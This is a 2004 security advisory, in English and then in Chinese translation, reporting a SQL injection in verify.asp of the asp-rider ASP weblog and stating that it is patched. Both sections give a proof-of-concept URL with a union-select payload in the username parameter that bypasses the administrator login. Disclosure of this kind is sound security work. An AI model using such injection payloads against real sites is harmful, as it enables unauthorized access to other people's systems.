信息来源：www.karchack.com

affected software decribtion :
asp-rider is a full farsi weblog written in asp
www.asp-rider.com

--------------------------------------
Vulnerabilities:
the file verify.asp in blogadmin folder is vulnerable to sql injection attack

-------------------------------------
proof of concept :
you can easily log in to the weblog administrator page by entering :
www.site.com/weblog/blogadmin/verify.asp?username='union select 1,1,1,1,1,1,1,1 from tbl_users where ''='&password=1



-------------------------------------
this vulnerability is already patched.
www.karchack.com
www.karchack.net

文章来源:
http://marc.theaimsgroup.com/l=b ... 05802005220&w=2

发布日期:
2004-12-14 21:00:20

受影响软件描述:
asp-rider是一个用asp写成的功能齐全的网络日志程序。
（www.asp-rider.com）

漏洞描述:
blogadmin目录下的verify.asp存在sql注入漏洞。

漏洞测试:

你可以输入以下url
www.site.com/weblog/blogadmin/verify.asp?username='union select 1,1,1,1,1,1,1,1 from \tbl_users where ''='&password=1
来登陆管理界面.

解决办法:
漏洞已被修补